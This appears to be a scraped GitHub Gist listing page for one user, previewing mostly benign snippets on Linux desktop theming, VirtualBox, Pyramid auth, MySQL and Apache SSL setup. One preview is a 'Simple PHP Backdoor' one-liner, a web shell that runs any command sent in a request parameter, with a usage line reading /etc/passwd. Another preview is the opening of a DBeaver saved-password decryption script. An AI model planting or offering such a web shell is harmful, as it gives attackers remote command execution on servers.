Skip to content

Instantly share code, notes, and snippets.

@iruwl
iruwl / Mint-Yz.json
Last active August 5, 2023 02:34
Nemo folder color switcher for Mint-Yz theme
{
"styles": [
{
"name": "Mint-Yz",
"icon-themes": [
{"name": "Base-Aqua", "color": "#1F9EDE", "theme": "Mint-Yz-Base-Aqua"},
{"name": "Base-BlueBelize", "color": "#277CB7", "theme": "Mint-Yz-Base-BlueBelize"},
{"name": "Base-BlueElectron", "color": "#0C75DE", "theme": "Mint-Yz-Base-BlueElectron"},
{"name": "Base-Grey", "color": "#aaaaaa", "theme": "Mint-Yz-Base-Grey"},
{"name": "Base-MintGum", "color": "#3DB884", "theme": "Mint-Yz-Base-MintGum"},
@iruwl
iruwl / decrypt_dbeaver.py
Last active July 26, 2023 15:53 — forked from felipou/decrypt_dbeaver.py
DBeaver password decryption script - for newer versions of DBeaver
# https://stackoverflow.com/questions/39928401/recover-db-password-stored-in-my-dbeaver-connection
# requires pycryptodome lib (pip install pycryptodome) or
# pip install pycrypto
import sys
import base64
import os
import json
@iruwl
iruwl / linux-command.md
Last active March 23, 2023 16:00
Linux Command Collection #linux #command #console #shell

Linux Command Collection

iruwl @ 20230323

1. find files without extention

find . -type f ! -name "*.*"

@iruwl
iruwl / create-virtualbox-vm-using-ubuntu-cloud-image.sh
Created March 3, 2023 16:47
Create virtualbox vm using ubuntu cloud images
## reff: https://gist.github.com/smoser/6066204
## download ubuntu cloud image
$ wget https://cloud-images.ubuntu.com/jammy/current/jammy-server-cloudimg-amd64.img
## install requirement
$ sudo apt-get install virtualbox qemu-utils genisoimage cloud-utils
## convert cloud image to raw
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@iruwl
iruwl / basic_auth_example.py
Created October 28, 2020 18:34 — forked from mmerickel/basic_auth_example.py
Basic Auth in Pyramid with simple ACLs
from pyramid.authentication import BasicAuthAuthenticationPolicy
from pyramid.authorization import ACLAuthorizationPolicy
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPForbidden
from pyramid.httpexceptions import HTTPUnauthorized
from pyramid.security import ALL_PERMISSIONS
from pyramid.security import Allow
from pyramid.security import Authenticated
from pyramid.security import forget
from pyramid.view import forbidden_view_config
@iruwl
iruwl / touchscreen.txt
Created August 13, 2020 11:52
Disable or enable laptop touchscreen #touchscreen #ubuntu #toshiba
λ ~/ xinput --list
⎡ Virtual core pointer id=2 [master pointer (3)]
⎜ ↳ Virtual core XTEST pointer id=4 [slave pointer (2)]
⎜ ↳ ELAN Touchscreen id=9 [slave pointer (2)]
⎜ ↳ AlpsPS/2 ALPS DualPoint Stick id=12 [slave pointer (2)]
⎜ ↳ AlpsPS/2 ALPS DualPoint TouchPad id=13 [slave pointer (2)]
⎣ Virtual core keyboard id=3 [master keyboard (2)]
↳ Virtual core XTEST keyboard id=5 [slave keyboard (3)]
↳ Power Button id=6 [slave keyboard (3)]
↳ Video Bus id=7 [slave keyboard (3)]
@iruwl
iruwl / configure.txt
Created July 5, 2020 07:36
Run Jasper Report with Java 1.8.0 #ireport #jasper
$ cd blah/blah/iReport-5.1.0
$ wget http://hg.netbeans.org/jet-main/raw-file/3238e03c676f/openide.util/src/org/openide/util/WeakListenerImpl.java
$ javac -d . -cp platform9/lib/org-openide-util.jar WeakListenerImpl.java
$ zip -r platform9/lib/org-openide-util.jar org
$ #source: https://stackoverflow.com/a/32213849

Stop the MySQL Service

I'm using Homebrew to stop the service

brew services stop mysql

Locate MySQL Data Directory

@iruwl
iruwl / ApacheHTTPSConfig.md
Created June 27, 2020 19:22 — forked from nrollr/ApacheHTTPSConfig.md
Enable SSL in Apache for 'localhost' (OSX, El Capitan)

Enable SSL in Apache (OSX)

The following will guide you through the process of enabling SSL on a Apache webserver

  • The instructions have been verified with OSX El Capitan (10.11.2) running Apache 2.4.16
  • The instructions assume you already have a basic Apache configuration enabled on OSX, if this is not the case feel free to consult Gist: "Enable Apache HTTP server (OSX)"

Apache SSL Configuration

Create a directory within /etc/apache2/ using Terminal.app: sudo mkdir /etc/apache2/ssl
Next, generate two host keys: